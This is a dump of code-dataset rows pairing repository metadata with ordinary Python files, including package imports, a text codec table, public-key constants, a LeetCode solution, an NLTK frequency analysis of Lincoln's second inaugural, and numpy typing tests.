e36e628492869c7111cb8ff42253955549b5415c	114	py	Python	src/app/load_balancing/__init__.py	acatalfano/chord-dht	c98f66073b12beb1c3a7cf17197820865936a444	[ "MIT" ]	null	null	null	src/app/load_balancing/__init__.py	acatalfano/chord-dht	c98f66073b12beb1c3a7cf17197820865936a444	[ "MIT" ]	null	null	null	src/app/load_balancing/__init__.py	acatalfano/chord-dht	c98f66073b12beb1c3a7cf17197820865936a444	[ "MIT" ]	null	null	null	from .mod_n import ModN from .consistent_hashing import ConsistentHashing from .load_balancer import LoadBalancer	28.5	49	0.868421	15	114	6.4	0.733333	0	0	0	0	0	0	0	0	0	0	0.105263	114	3	50	38	0.941176	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
e375f81c14623d048187c4025517a28b8041d392	2,190	py	Python	encodings/mac_centeuro.py	theclashingfritz/Cog-Invasion-Online-Dump	2561abbacb3e2e288e06f3f04b935b5ed589c8f8	[ "Apache-2.0" ]	1	2020-03-12T16:44:10.000Z	2020-03-12T16:44:10.000Z	encodings/mac_centeuro.py	theclashingfritz/Cog-Invasion-Online-Dump	2561abbacb3e2e288e06f3f04b935b5ed589c8f8	[ "Apache-2.0" ]	null	null	null	encodings/mac_centeuro.py	theclashingfritz/Cog-Invasion-Online-Dump	2561abbacb3e2e288e06f3f04b935b5ed589c8f8	[ "Apache-2.0" ]	null	null	null	# uncompyle6 version 3.2.4 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)] # Embedded file name: encodings.mac_centeuro import codecs class Codec(codecs.Codec): def encode(self, input, errors='strict'): return codecs.charmap_encode(input, errors, encoding_table) def decode(self, input, errors='strict'): return codecs.charmap_decode(input, errors, decoding_table) class IncrementalEncoder(codecs.IncrementalEncoder): def encode(self, input, final=False): return codecs.charmap_encode(input, self.errors, encoding_table)[0] class IncrementalDecoder(codecs.IncrementalDecoder): def decode(self, input, final=False): return codecs.charmap_decode(input, self.errors, decoding_table)[0] class StreamWriter(Codec, codecs.StreamWriter): pass class StreamReader(Codec, codecs.StreamReader): pass def getregentry(): return codecs.CodecInfo(name='mac-centeuro', encode=Codec().encode, decode=Codec().decode, incrementalencoder=IncrementalEncoder, incrementaldecoder=IncrementalDecoder, streamreader=StreamReader, streamwriter=StreamWriter) decoding_table = u'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{\|}~\x7f\xc4\u0100\u0101\xc9\u0104\xd6\xdc\xe1\u0105\u010c\xe4\u010d\u0106\u0107\xe9\u0179\u017a\u010e\xed\u010f\u0112\u0113\u0116\xf3\u0117\xf4\xf6\xf5\xfa\u011a\u011b\xfc\u2020\xb0\u0118\xa3\xa7\u2022\xb6\xdf\xae\xa9\u2122\u0119\xa8\u2260\u0123\u012e\u012f\u012a\u2264\u2265\u012b\u0136\u2202\u2211\u0142\u013b\u013c\u013d\u013e\u0139\u013a\u0145\u0146\u0143\xac\u221a\u0144\u0147\u2206\xab\xbb\u2026\xa0\u0148\u0150\xd5\u0151\u014c\u2013\u2014\u201c\u201d\u2018\u2019\xf7\u25ca\u014d\u0154\u0155\u0158\u2039\u203a\u0159\u0156\u0157\u0160\u201a\u201e\u0161\u015a\u015b\xc1\u0164\u0165\xcd\u017d\u017e\u016a\xd3\xd4\u016b\u016e\xda\u016f\u0170\u0171\u0172\u0173\xdd\xfd\u0137\u017b\u0141\u017c\u0122\u02c7' encoding_table = codecs.charmap_build(decoding_table)	53.414634	941	0.77032	320	2,190	5.228125	0.69375	0.035864	0.045427	0.021518	0.119546	0.093246	0.093246	0	0	0	0.228713	0.077626	2,190	41	942	53.414634	0.599505	0.090411	0.1	0	0.05	0.077465	0.061368	0	0	0	0	1	0.25	false	0.1	0.05	0.25	0.8	0	0	0	0	null	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	1	0	1	1	0	5
8b4d016658ba64a2b331c3bd6a378ff652a93eee	49	py	Python	py_cwt2d/__init__.py	alexhagen/py_cwt2d	023885310b1962b4f6f565d3ebfac40e0a2eb533	[ "MIT" ]	null	null	null	py_cwt2d/__init__.py	alexhagen/py_cwt2d	023885310b1962b4f6f565d3ebfac40e0a2eb533	[ "MIT" ]	null	null	null	py_cwt2d/__init__.py	alexhagen/py_cwt2d	023885310b1962b4f6f565d3ebfac40e0a2eb533	[ "MIT" ]	null	null	null	from .cwt_2d import cwt_2d __all__ = ['cwt_2d']	12.25	26	0.714286	9	49	3.111111	0.555556	0.535714	0	0	0	0	0	0	0	0	0.073171	0.163265	49	3	27	16.333333	0.609756	0	0	0	0	0.122449	0	0	0	0	0	1	0	false	0	0.5	0	0.5	0	1	1	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	1	0	0	0	5
8b5723427c1d95459f5c270803688a2f40ef29c3	1,410	py	Python	Acquire/Registry/_keys_a0-a0.py	samle-appsbroker/acquire	34f29dc4173cb87f8e2f49864559b35efb48b21b	[ "Apache-2.0" ]	21	2019-01-29T17:18:45.000Z	2021-11-07T19:29:31.000Z	Acquire/Registry/_keys_a0-a0.py	samle-appsbroker/acquire	34f29dc4173cb87f8e2f49864559b35efb48b21b	[ "Apache-2.0" ]	8	2019-02-22T16:53:39.000Z	2022-01-13T01:29:54.000Z	Acquire/Registry/_keys_a0-a0.py	chryswoods/acquire	bf8a0465a531f3b485cb2a14c69dc9aea79451fd	[ "Apache-2.0" ]	4	2019-06-20T07:49:05.000Z	2020-03-31T18:11:56.000Z	# This file contains the public keys and certs for the # registry with UID a0-a0, # and canonical_url fn.acquire-aaai.com/t/registry public_key = {'bytes': 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF5NW9SL3RkUWN2ek5sdDZIT0MvTwordXMydmpCZFU2MFBQNWl3U1AwU2NpZ3FwdzVDV05RdlNxdWhST0duenJLazRMUjlDR0ZLdXByWkhhNHNiL2EzCmZCYWdZRWJVV3pxa0FKWmJoQ0toOEE3d0VxZnVXY0tuOEdRUXllaVd5WXd1bTJKVFV0VlhOR29ZaTFLajYwVlkKam42MU5KZkl6OHJ3Z0VEMnN0TWZrM0JLamNuOThwOGswR3ROOUlxN0R3aGVUOFIzV3I5T2lNY21WR1lBL09MZwpUdXh2MVhxUkVkWEVBTHgxdlcyOFhucDBoMFlKVE5Yc3pFSmkyMStVYkVqOEtMSXMxV2psSFg3TkpkQ2ZhSlN5CjJNRm93c2xoNkU0dE1zMzlGTGlHa0V2ZlBVc1NQUUZ6TmUxcTJvWHJTVUp0dGVVZ0MyZDNab3hRc3gvRVZsRDYKd3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=='} public_certificate = {'bytes': 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxbDhEbGtyNWY4SGtyS3VlbXRvdgo1Z0dzUFQ2MjArZ2tpbVRrK1htZ0oxUjkvNVZpYkV6MDFsV2VlbU02MnlnbXRNWjVQdTE0dHJvVmh3WTFNZEd0CkxGYlllZ25YMk43ejFlK2ZyV3M2OWR3SjRUSVBQMlpUYlZIUXpGV2tCU09oYlFESitqYi92VXpMa3h1dXJ1TzYKMFpad2xaak9QMkhxYjZ5OHZaS0VsbXZOL0VVVjdLTHNvRVdoSmZFck1EVUhhaFJ2dUxMWTl1RUViZ0dLQW93VwpZcEszSDNqeG9XcFRGRW9iQmlEVGU2V1VoLzR5ZUFkL3piNXVXdEh4Nks5d1pRRGk1eThVOFluSXpjUE5iQUljCjU3MGpzbXlURmpiNEdDNHhwa0dRZUpkeHBkZFoyOGx2Q2w5L2JTNzg0NkRQT1lTOWNZUitNZmZhS3JQR0d0dncKS3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=='}	128.181818	638	0.953901	32	1,410	41.9375	0.78125	0	0	0	0	0	0	0	0	0	0.119273	0.024823	1,410	10	639	141	0.856727	0.09078	0	0	0	0.955294	0.947451	0	1	0	0	1	0	false	0	0	0	0	0	0	0	1	null	0	0	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	1	1	null	1	0	0	0	0	0	0	0	0	0	0	5
8b75eb8906c56034e185478ab781bdec447dd6f2	135,427	py	Python	src/Solution1224.py	ArkiWang/LeetcodePy	6b4af8da843910823f7f53989bbda4ec8e6dad15	[ "MIT" ]	null	null	null	src/Solution1224.py	ArkiWang/LeetcodePy	6b4af8da843910823f7f53989bbda4ec8e6dad15	[ "MIT" ]	null	null	null	src/Solution1224.py	ArkiWang/LeetcodePy	6b4af8da843910823f7f53989bbda4ec8e6dad15	[ "MIT" ]	null	null	null	from copy import deepcopy import numpy as np class Solution: def maxEqualFreq(self, nums: [int]) -> int: dic = {}#每个元素出现次数 cnt_dic = {} # 出现次数类型 maxlen, maxtime = 0, 0 for i,e in enumerate(nums): if e not in dic: dic[e] = 1 if dic[e] not in cnt_dic: cnt_dic[dic[e]] = 1 else: cnt_dic[dic[e]] += 1 else: dic[e] += 1 if dic[e] not in cnt_dic: cnt_dic[dic[e]] = 1 else: cnt_dic[dic[e]] += 1 if cnt_dic[dic[e] - 1] > 1: cnt_dic[dic[e] - 1] -= 1 else: cnt_dic.__delitem__(dic[e] - 1) maxtime = max(dic[e], maxtime) # print(i, dic) # print(i, cnt_dic) if len(cnt_dic) <= 2: if len(cnt_dic) == 1 and (maxtime == 1 or len(dic) == 1): maxlen = i+1 elif len(cnt_dic) == 2: cnt_dic = dict(sorted(cnt_dic.items(), key=lambda kv:kv[1])) cdkeys = list(cnt_dic.keys()) times = cdkeys[-1] uni_times = cdkeys[0] if cnt_dic.get(uni_times) == 1 and (uni_times == 1 or times == uni_times - 1): maxlen = i+1 return maxlen nums = [1,2] #nums = [10,2,8,9,3,8,1,5,2,3,7,6] #nums = [2,2,1,1,5,3,3,5] #nums = [1,1,1,2,2,2,3,3,3] #nums = [1, 1] #nums = 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sol = Solution() res = sol.maxEqualFreq(nums) print(res, nums[:res])	2,462.309091	133,793	0.801	26,229	135,427	4.134774	0.497579	0.000996	0.000415	0.000516	0.001189	0.001143	0.000885	0.000885	0.000885	0.000885	0.800607	0.005339	135,427	54	133,794	2,507.907407	0.004499	0.988983	0.3	0	0	0	0	0	0	0	0	1	0.025	false	0	0.05	0	0.125	0.025	0	0	0	null	0	0	0	0	0	0	0	0	0	1	0	1	1	1	1	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
8b80b681f41976542c78255da8e8faa37258408b	4,250	py	Python	Chapter15/ch15_historicalTextAnalysis.py	PacktPublishing/Applied-Computational-Thinking-with-Python	fd9982383c5b473ffa1640998540d602876816e5	[ "MIT" ]	18	2020-11-27T22:41:12.000Z	2021-12-27T08:20:46.000Z	Chapter15/ch15_historicalTextAnalysis.py	PacktPublishing/Applied-Computational-Thinking-with-Python	fd9982383c5b473ffa1640998540d602876816e5	[ "MIT" ]	null	null	null	Chapter15/ch15_historicalTextAnalysis.py	PacktPublishing/Applied-Computational-Thinking-with-Python	fd9982383c5b473ffa1640998540d602876816e5	[ "MIT" ]	8	2020-11-30T17:51:11.000Z	2021-12-25T05:23:02.000Z	import nltk from nltk.tokenize import sent_tokenize, word_tokenize text = 'Fellow-Countrymen: At this second appearing to take the oath of the Presidential office there is less occasion for an extended address than there was at the first. Then a statement somewhat in detail of a course to be pursued seemed fitting and proper. Now, at the expiration of four years, during which public declarations have been constantly called forth on every point and phase of the great contest which still absorbs the attention and engrosses the energies of the nation, little that is new could be presented. The progress of our arms, upon which all else chiefly depends, is as well known to the public as to myself, and it is, I trust, reasonably satisfactory and encouraging to all. With high hope for the future, no prediction in regard to it is ventured. On the occasion corresponding to this four years ago all thoughts were anxiously directed to an impending civil war. All dreaded it, all sought to avert it. While the inaugural address was being delivered from this place, devoted altogether to saving the Union without war, urgent agents were in the city seeking to destroy it without war—seeking to dissolve the Union and divide effects by negotiation. Both parties deprecated war, but one of them would make war rather than let the nation survive, and the other would accept war rather than let it perish, and the war came. One-eighth of the whole population were colored slaves, not distributed generally over the Union, but localized in the southern part of it. These slaves constituted a peculiar and powerful interest. All knew that this interest was somehow the cause of the war. To strengthen, perpetuate, and extend this interest was the object for which the insurgents would rend the Union even by war, while the Government claimed no right to do more than to restrict the territorial enlargement of it. Neither party expected for the war the magnitude or the duration which it has already attained. Neither anticipated that the cause of the conflict might cease with or even before the conflict itself should cease. Each looked for an easier triumph, and a result less fundamental and astounding. Both read the same Bible and pray to the same God, and each invokes His aid against the other. It may seem strange that any men should dare to ask a just God\’s assistance in wringing their bread from the sweat of other men\’s faces, but let us judge not, that we be not judged. The prayers of both could not be answered. That of neither has been answered fully. The Almighty has His own purposes. \“Woe unto the world because of offenses; for it must needs be that offenses come, but woe to that man by whom the offense cometh.\” If we shall suppose that American slavery is one of those offenses which, in the providence of God, must needs come, but which, having continued through His appointed time, He now wills to remove, and that He gives to both North and South this terrible war as the woe due to those by whom the offense came, shall we discern therein any departure from those divine attributes which the believers in a living God always ascribe to Him? Fondly do we hope, fervently do we pray, that this mighty scourge of war may speedily pass away. Yet, if God wills that it continue until all the wealth piled by the bondsman\’s two hundred and fifty years of unrequited toil shall be sunk, and until every drop of blood drawn with the lash shall be paid by another drawn with the sword, as was said three thousand years ago, so still it must be said \“the judgments of the Lord are true and righteous altogether.\” With malice toward none, with charity for all, with firmness in the right as God gives us to see the right, let us strive on to finish the work we are in, to bind up the nation\’s wounds, to care for him who shall have borne the battle and for his widow and his orphan, to do all which may achieve and cherish a just and lasting peace among ourselves and with all nations.' tokenized_word = word_tokenize(text) print(tokenized_word) from nltk.probability import FreqDist fdist = FreqDist(tokenized_word) print(fdist) fdist.most_common(2) import matplotlib.pyplot as plt fdist.plot(30, cumulative = False) plt.show()	283.333333	3,938	0.8	752	4,250	4.513298	0.476064	0.010312	0.009428	0.009428	0	0	0	0	0	0	0.000853	0.172	4,250	14	3,939	303.571429	0.963342	0	0	0	0.083333	0.924471	0	0	0	0	0	1	0	false	0.083333	0.333333	0	0.333333	0.166667	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	1	1	0	0	0	0	1	0	null	0	0	0	0	0	0	1	1	0	0	0	5
8bb8de9fbab3b39f9d1ed60e8c06521cc0d06c23	172	py	Python	image_server/portal_creds.py	ASFHyP3/hyp3-nasa-disasters	1994cbe57cf9b3968e0831b1555cc4dd0b5f378f	[ "BSD-3-Clause" ]	null	null	null	image_server/portal_creds.py	ASFHyP3/hyp3-nasa-disasters	1994cbe57cf9b3968e0831b1555cc4dd0b5f378f	[ "BSD-3-Clause" ]	10	2021-02-22T18:10:13.000Z	2022-03-24T02:00:55.000Z	image_server/portal_creds.py	ASFHyP3/hyp3-nasa-disasters	1994cbe57cf9b3968e0831b1555cc4dd0b5f378f	[ "BSD-3-Clause" ]	2	2021-04-01T12:16:31.000Z	2021-07-13T21:58:09.000Z	import arcpy import keyring pw = keyring.get_password("portal_creds", "hkristenson_ASF") arcpy.SignInToPortal(r'https://asf-daac.maps.arcgis.com/', 'hkristenson_ASF', pw)	28.666667	81	0.77907	24	172	5.416667	0.708333	0.215385	0	0	0	0	0	0	0	0	0	0.069767	172	5	82	34.4	0.8125	0	0	0	0	0.438596	0	0	0	0	0	1	0	false	0.25	0.5	0	0.5	0	1	0	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	1	1	0	0	0	5
473e922a2a7979e165d7c7818df407da8c487dfa	2,198	py	Python	numpy/typing/tests/data/reveal/nditer.py	fishmandev/numpy	7e8285ba48179b19b4d251ac3447569141c7e8f7	[ "BSD-3-Clause" ]	null	null	null	numpy/typing/tests/data/reveal/nditer.py	fishmandev/numpy	7e8285ba48179b19b4d251ac3447569141c7e8f7	[ "BSD-3-Clause" ]	79	2021-06-23T21:05:30.000Z	2022-03-28T08:11:46.000Z	numpy/typing/tests/data/reveal/nditer.py	fishmandev/numpy	7e8285ba48179b19b4d251ac3447569141c7e8f7	[ "BSD-3-Clause" ]	null	null	null	import numpy as np nditer_obj: np.nditer reveal_type(np.nditer([0, 1], flags=["c_index"])) # E: numpy.nditer reveal_type(np.nditer([0, 1], op_flags=[["readonly", "readonly"]])) # E: numpy.nditer reveal_type(np.nditer([0, 1], op_dtypes=np.int_)) # E: numpy.nditer reveal_type(np.nditer([0, 1], order="C", casting="no")) # E: numpy.nditer reveal_type(nditer_obj.dtypes) # E: tuple[numpy.dtype[Any]] reveal_type(nditer_obj.finished) # E: bool reveal_type(nditer_obj.has_delayed_bufalloc) # E: bool reveal_type(nditer_obj.has_index) # E: bool reveal_type(nditer_obj.has_multi_index) # E: bool reveal_type(nditer_obj.index) # E: int reveal_type(nditer_obj.iterationneedsapi) # E: bool reveal_type(nditer_obj.iterindex) # E: int reveal_type(nditer_obj.iterrange) # E: tuple[builtins.int] reveal_type(nditer_obj.itersize) # E: int reveal_type(nditer_obj.itviews) # E: tuple[numpy.ndarray[Any, numpy.dtype[Any]]] reveal_type(nditer_obj.multi_index) # E: tuple[builtins.int] reveal_type(nditer_obj.ndim) # E: int reveal_type(nditer_obj.nop) # E: int reveal_type(nditer_obj.operands) # E: tuple[numpy.ndarray[Any, numpy.dtype[Any]]] reveal_type(nditer_obj.shape) # E: tuple[builtins.int] reveal_type(nditer_obj.value) # E: tuple[numpy.ndarray[Any, numpy.dtype[Any]]] reveal_type(nditer_obj.close()) # E: None reveal_type(nditer_obj.copy()) # E: numpy.nditer reveal_type(nditer_obj.debug_print()) # E: None reveal_type(nditer_obj.enable_external_loop()) # E: None reveal_type(nditer_obj.iternext()) # E: bool reveal_type(nditer_obj.remove_axis(0)) # E: None reveal_type(nditer_obj.remove_multi_index()) # E: None reveal_type(nditer_obj.reset()) # E: None reveal_type(len(nditer_obj)) # E: int reveal_type(iter(nditer_obj)) # E: Iterator[builtins.tuple[numpy.ndarray[Any, numpy.dtype[Any]]]] reveal_type(next(nditer_obj)) # E: tuple[numpy.ndarray[Any, numpy.dtype[Any]]] reveal_type(nditer_obj.__copy__()) # E: numpy.nditer with nditer_obj as f: reveal_type(f) # E: numpy.nditer reveal_type(nditer_obj[0]) # E: numpy.ndarray[Any, numpy.dtype[Any]] reveal_type(nditer_obj[:]) # E: tuple[numpy.ndarray[Any, numpy.dtype[Any]]] nditer_obj[0] = 0 nditer_obj[:] = [0, 1]	46.765957	98	0.739763	361	2,198	4.252078	0.166205	0.234528	0.291857	0.34658	0.738762	0.730945	0.558958	0.393485	0.289902	0.241042	0.007089	0.101456	2,198	46	99	47.782609	0.770127	0.312102	0	0	0	0.017627	0	0	0	0	0	1	0	true	0	0.02439	0	0.02439	0.02439	0	0	0	null	1	1	1	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	0	5
4751caceeb14f0dddc937d90b4c953a870ffc3f8	131	py	Python	fluid/PaddleCV/image_classification/utils/__init__.py	awesome-archive/models-1	747f947eff1511d3291d86dcd27736214dfbf2bc	[ "Apache-2.0" ]	1	2019-03-07T12:50:05.000Z	2019-03-07T12:50:05.000Z	fluid/PaddleCV/image_classification/utils/__init__.py	ThinkPeace/models	5d25e00c94943e50e64780a244136f88f13c0a88	[ "Apache-2.0" ]	null	null	null	fluid/PaddleCV/image_classification/utils/__init__.py	ThinkPeace/models	5d25e00c94943e50e64780a244136f88f13c0a88	[ "Apache-2.0" ]	1	2018-12-13T02:46:05.000Z	2018-12-13T02:46:05.000Z	from .learning_rate import cosine_decay, lr_warmup from .fp16_utils import create_master_params_grads, master_param_to_train_param	43.666667	79	0.89313	21	131	5.047619	0.809524	0	0	0	0	0	0	0	0	0	0.016529	0.076336	131	2	80	65.5	0.859504	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
9a3e1c61a3d228c52f300174360bf8d79866838c	35	py	Python	python-sc2/sc2/ids/id_version.py	manaccac/sc2_bot	3aa8b3711378b71fd0a44662cdd7148846e39530	[ "MIT" ]	242	2019-06-26T22:03:36.000Z	2022-03-28T19:32:04.000Z	python-sc2/sc2/ids/id_version.py	manaccac/sc2_bot	3aa8b3711378b71fd0a44662cdd7148846e39530	[ "MIT" ]	85	2019-06-08T13:22:32.000Z	2022-03-28T15:52:45.000Z	python-sc2/sc2/ids/id_version.py	manaccac/sc2_bot	3aa8b3711378b71fd0a44662cdd7148846e39530	[ "MIT" ]	111	2019-09-13T14:37:13.000Z	2022-03-31T22:35:14.000Z	ID_VERSION_STRING = "4.11.4.78285"	17.5	34	0.742857	7	35	3.428571	0.857143	0	0	0	0	0	0	0	0	0	0.28125	0.085714	35	1	35	35	0.46875	0	0	0	0	0.342857	0	0	0	0	0	1	0	false	0	0	0	0	0	1	1	0	null	0	0	0	0	0	0	0	0	0	1	1	0	0	1	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
9a42af90a96cab37a9f2a6cca655a699edb48d98	72	py	Python	Bird-Species/train-by-easy-cnn.py	NCcoco/kaggle-project	bff565bcfa8395c87920068557678566631b8d99	[ "Apache-2.0" ]	null	null	null	Bird-Species/train-by-easy-cnn.py	NCcoco/kaggle-project	bff565bcfa8395c87920068557678566631b8d99	[ "Apache-2.0" ]	null	null	null	Bird-Species/train-by-easy-cnn.py	NCcoco/kaggle-project	bff565bcfa8395c87920068557678566631b8d99	[ "Apache-2.0" ]	null	null	null	import numpy as np import tensorflow as tf from util.util import *	8	23	0.736111	12	72	4.416667	0.666667	0	0	0	0	0	0	0	0	0	0	0.236111	72	8	24	9	0.963636	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
9a629d658654c2fc7597b89869ef71dbb5da520f	72	py	Python	enthought/savage/traits/ui/qt4/svg_editor.py	enthought/etsproxy	4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347	[ "BSD-3-Clause" ]	3	2016-12-09T06:05:18.000Z	2018-03-01T13:00:29.000Z	enthought/savage/traits/ui/qt4/svg_editor.py	enthought/etsproxy	4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347	[ "BSD-3-Clause" ]	1	2020-12-02T00:51:32.000Z	2020-12-02T08:48:55.000Z	enthought/savage/traits/ui/qt4/svg_editor.py	enthought/etsproxy	4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347	[ "BSD-3-Clause" ]	null	null	null	# proxy module from enable.savage.trait_defs.ui.qt4.svg_editor import *	24	56	0.805556	12	72	4.666667	1	0	0	0	0	0	0	0	0	0	0.015385	0.097222	72	2	57	36	0.846154	0.166667	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
9a69b692567dd53434603b9d5310250c16bb3f0b	131	py	Python	processing_components/__init__.py	ChrisHad/algorithm-reference-library	bded1b62ea801ea4f4f5bd0794c18cd81d4b2810	[ "Apache-2.0" ]	null	null	null	processing_components/__init__.py	ChrisHad/algorithm-reference-library	bded1b62ea801ea4f4f5bd0794c18cd81d4b2810	[ "Apache-2.0" ]	null	null	null	processing_components/__init__.py	ChrisHad/algorithm-reference-library	bded1b62ea801ea4f4f5bd0794c18cd81d4b2810	[ "Apache-2.0" ]	null	null	null	""" Algorithm Reference Library processing components. These are the processing components exposed to the Execution Framework """	26.2	115	0.80916	15	131	7.066667	0.8	0.377358	0	0	0	0	0	0	0	0	0	0.137405	131	4	116	32.75	0.938053	0.923664	null	0	null	0	0	null	0	0	null	1	null	true	0	0	null	null	null	1	0	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	1	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	0	5
7be9bd78940f12c89bebab43914655ba0bc1e2b8	159	py	Python	app/auth/__init__.py	jpch89/microblog	a72d50fa87db6938f74a125f63704e5b8cad6b75	[ "MIT" ]	null	null	null	app/auth/__init__.py	jpch89/microblog	a72d50fa87db6938f74a125f63704e5b8cad6b75	[ "MIT" ]	null	null	null	app/auth/__init__.py	jpch89/microblog	a72d50fa87db6938f74a125f63704e5b8cad6b75	[ "MIT" ]	null	null	null	# -- coding: utf-8 -- # @Author: jpch89 # @Time: 18-9-8 下午5:03 from flask import Blueprint bp = Blueprint('auth', __name__) from app.auth import routes	15.9	32	0.660377	24	159	4.208333	0.791667	0	0	0	0	0	0	0	0	0	0.076923	0.18239	159	9	33	17.666667	0.7	0.377358	0	0	0	0.042105	0	0	0	0	0	1	0	false	0	0.666667	0	0.666667	0.666667	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	1	0	1	1	5

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